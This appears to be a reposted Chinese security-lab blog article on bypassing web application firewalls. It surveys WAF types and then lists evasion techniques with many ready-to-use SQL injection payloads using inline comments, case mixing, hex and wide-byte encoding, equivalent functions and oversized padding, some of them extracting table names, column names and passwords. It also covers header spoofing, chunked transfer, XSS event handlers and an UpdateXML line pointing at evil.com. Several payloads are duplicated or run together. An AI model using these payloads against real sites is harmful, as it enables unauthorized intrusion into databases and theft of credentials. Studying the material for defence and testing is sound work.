Waf常见绕过原理和绕过方法

释放双眼,带上耳机,听听看~!

 


网安引领时代,弥天点亮未来     



WAF简述

1.定义

    WAF(Web Application Firewall),俗称Web应用防火墙,WAF是通过检测应用层的数据来进行访问控制或者对应用进行控制,而传统防火墙对三、四层数据进行过滤,从而进行访问控制,不对应用层数据进行分析

2.分类

    云WAF,代表性的产品有:百度云加速,阿里云云盾

用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护。主要利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。

    软WAF,代表性的产品有:安全狗,D盾

安装在需要防护的服务器上,实现方式通常是WAF监听端口或以Web容器扩展方式进行请求检测和阻断。

    硬WAF,代表性的产品有:nsfocus, imperva硬件

Waf通常的安装方式是将Waf串行部署在Web服务器前端,用于检测、阻断异常流量。

3.WAF的防御机制

    (1)WAF的实现:WAF的实现其实可以用一句话去概况,就是解析HTTP请求(协议解析模块),规则检测(规则模块),做不同的防御动作(动作模块),并将防御过程(日志模块)记录下来。

    (2)常见的防御机制:

        异常检测协议:拒绝不符合HTTP标准的请求

        增强的输入验证:代理和服务端的验证,而不是限于客户端验证

        白名单&黑名单:白名单适用于稳定的Web应用,黑名单适合处理已知问题

        基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活

        状态管理:重点进行会话保护

   WAF绕过,通过以下几个维度进行尝试

1、架构层面

2、协议/中间件层面

3、系统/数据库/编程语言层面


1
缓冲区溢出

大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃
/index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…./index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
可以使用如下方法测试
WAF?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….WAF?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF。
2
特殊符号
WAF规则集通常会有匹配敏感关键词的规则,通过添加特殊字符进行污染,可混淆判断逻辑,使规则集无法匹配到敏感关键词,从而达到绕过WAF的目的



主要有以下两种方法

1.字符串拼接,将关键词拆分成多个部分,拼接到一起,WAF对语句进行规则匹配时,由于有拼接符等符号的干扰,识别不到对应的关键词,但是在执行阶段,会因为语言特性等缘故,将字符串拼接后执行。
    常见的有:
    (1)连接符:’
+’、’.’
    (2)字符串文字连接:
在大部分语言中相邻的字符串文字默认是连接的,不需要任何运算符
2.空值污染,使用空值字符穿插在敏感关键词内部,原理同上,混淆判断逻辑,绕过WAF规则。
    常见的空值字符有:
    (1)空字符
    (2)换行符
    (3)注释
    (4)特殊的函数

    (针对特殊字符的完全防御手段很简单,将”a-z”、”A-Z”、”0–9″以外的全部过滤掉就好,不过这里牵扯到一个问题,就是如何不影响正常的业务,这就需要根据实际的业务进行调整,以最小化原则,适当放过一些业务必须的字符规则)

3
使用注释

(1)sql注入

    普通注释://, — , /**/, #, –+, — -, ;%00

payload1:-1'/**/union/**/select/**/1,2#payload:-1'/**/union/**/select/**/1,2#

原理:有些waf过滤不严谨,采用黑名单的方式,仅仅是过滤空格的输入,这时可以通过注释符/**/来进行绕过,这是sql特性引起的,在sql里这属于合法的语句。

内联注释:/*!*/(仅限mysql)

payload2:1'/*!UnIoN*//*!SeLeCT*/1,2--payload:1'/*!UnIoN*//*!SeLeCT*/1,2--

原理:有些waf过滤关键词,例如:/union/sselect/g,在这种情况下不能再使用空格,这时我们可以使用内联注释,这属于mysql的特性。

4

整合绕过

整合的意思是结合使用本文中谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说,关系到总体与局部和另一方面则是多种技术的使用创造了更多的可能性组合,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。

fdgf

比如下面这两个例子,就是将好几种方法结合在一起:

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
5

HTTP头绕过和HTTP复参
(1)服务器通过http协议头request的X-Originating-IP、X-Forwarded-For、X-Remote-IP、X-Remote-Addr来获取识别发起请求的ip,市面上的waf都会去检查X-始发IP请求,一般带有playload的请求会被waf拦截,如将X-Originating-IP、X-Forwarded-For、X-Remote-IP、X-Remote-Addr参数修改成”127.0.0.1“,waf过滤规则如配置不严格,将会信任为本地主机发起的请求,大几率不会拦截恶意请求。
(2)通过修改http协议请求类型的“GET”或“POST”方式传参绕过waf的检查,GET方式提交时,传输数据就会受到URL长度的限制,而POST方式由于不是通过URL传值,理论上数据不受限,但实际各个WEB服务器会规定对POST提交数据大小进行限制,Apache、IIS6都有各自的配置。如菜刀是POST方式传参,通过代理修改为GET方式传参也是可以的,也有一定几率可绕过waf的检查。同样sql注入正常GET方式传参被waf拦截,POST方式可以任意传参,这需要大量的fuzz去验证,并不是适用所有的实战。
(3)推荐一款burpsuite绕waf插件,覆盖了http头绕过的7种功能,参考下载地址如下:https://github.com/codewatchorg/bypasswaf。

6
替换关键字
标签:script、a、img、body、iframe、frame、input、svg、bgsound、br、link、style、meta、table、td、div、base、object、span、xml、source、applet、isindex、button

fdgf

触发函数

  1. FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)

  2. onAbort() (当用户中止加载图片时)

  3. onActivate() (当对象激活时)

  4. onAfterPrint() (用户打印或进行打印预览后触发)

  5. onAfterUpdate() (从数据源对象更新数据后由数据对象触发)

  6. onBeforeActivate() (在对象设置为激活元素前触发)

  7. onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行execCommand(“Copy”)函数触发)

  8. onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)

  9. onBeforeDeactivate() (在当前对象的激活元素变化前触发)

  10. onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发)

弹窗函数

  1. alert()

  2. confirm()

  3. prompt()

   基本三者关系:标签、触发事件函数、弹窗函数(这里忽略特殊字符变化)

7

等价函数与命令

有些函数或命令因其关键字被检测出来而无法使用但是在很多情况下可以使用与之等价或类似的代码替代其使用。
函数或变量

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例substring()和substr()无法使用时

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70substr((select 'password'),1,1) = 0x70strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x69) = 1strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x71) = -1 strcmp(left('password',1), 0x71) = -1 strcmp(left('password',1), 0x71) = -1 strcmp(left('password',1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时还可以找到其他的函数替代其实现至于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论。

符号


and和or有可能不能使用可以试下&&和||能不能用还有=不能使用的情况可以考虑尝试<、>因为如果不小于又不大于那便是等于了再看一下用得很多的空格可以使用如下符号代替其使用%20 %09 %0a %0b %0c %0d %a0 /**/
生僻函数
MySQL/PostgreSQL支持XML函数
Select UpdateXML('<script x=_></script> ','/script/@x/','src=//evil.com');?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));Select UpdateXML('<script x=_></script> ','/script/@x/','src=//evil.com');?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能而且代价太大因此黑名单的确是更适合处理已知的情况。
8

HTTP分块和HTTP协议未覆盖

sql注入,在常见的sql注入情况中输入”是肯定会被waf所拦截
绕过原理:常见防御waf代码中采用正则方式匹配传参,以黑名单方式拦截
$a=$_GET['x'];$str=preg_replace("//+|/*|/`|//|/-|/$|/#|/^|/!|/@|/%|/&|/~|/^|/[|/]|/'|/"/", "", $a);$a=$_GET['x'];$str=preg_replace("//+|/*|/`|//|/-|/$|/#|/^|/!|/@|/%|/&|/~|/^|/[|/]|/'|/"/", "", $a);
http分块:是一种http协议一种传输方式,绕过原理在于waf无法识别传输的payload,但是传输的payload却被服务器正常解析,导致waf无法正常防御。
http协议未覆盖:主要问题出在Content-Type,当waf没有匹配协议传输可绕过。有时候根据业务流程需要,会对content-type不同匹配不同的waf规则。所以会导致绕过问题出现。
9
大小写混写
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术。有的过滤器会过滤掉SQL语句中的关键字,比如SELECT,FROM等,因为数据库使用不区分大小写的方式来处理SQL关键字,所以可以使用大小写变种来绕过。
示例1:

' UNION SELECT password FROM USERS WHERE username='admin'--可以替换成:' UNiON SelECT password FRoM USERS WHErE username='admin'--
示例2:

z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4 z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4 
示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理。
10

使用编码

    SQL注入时可以使用编码的方式来绕过waf,利用服务器端对于具有编码形式的关键字未检测或检测不严,可以使用十六进制编码、URL编码、Unicode编码等方式,例如0x61646d696e、%20、%u0020。
    比如宽字节注入的利用原理就是mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,但前一个ASCII码值要大于128,才到汉字的范围。如果服务器端使用了addslashes()函数,会在单引号、双引号、反斜杠、NULL之前添加反斜杠。此时注入时使用?id=1’无法达成闭合的目的,必须使单引号逃逸出来才能完成闭合。在单引号前加上%df,使用?id=1%df’,addslashes()函数自动添加的反斜杠url编码为%5c,结果就成为?id=1%df%5c’,而%df%5c会被识别为一个汉字,单引号就逃逸出来完成闭合的目的。


喜欢别忘了关注我们哦~


学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室


本文源自微信公众号:弥天安全实验室

人已赞赏
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
今日签到
有新消息 消息中心
有新私信 私信列表
搜索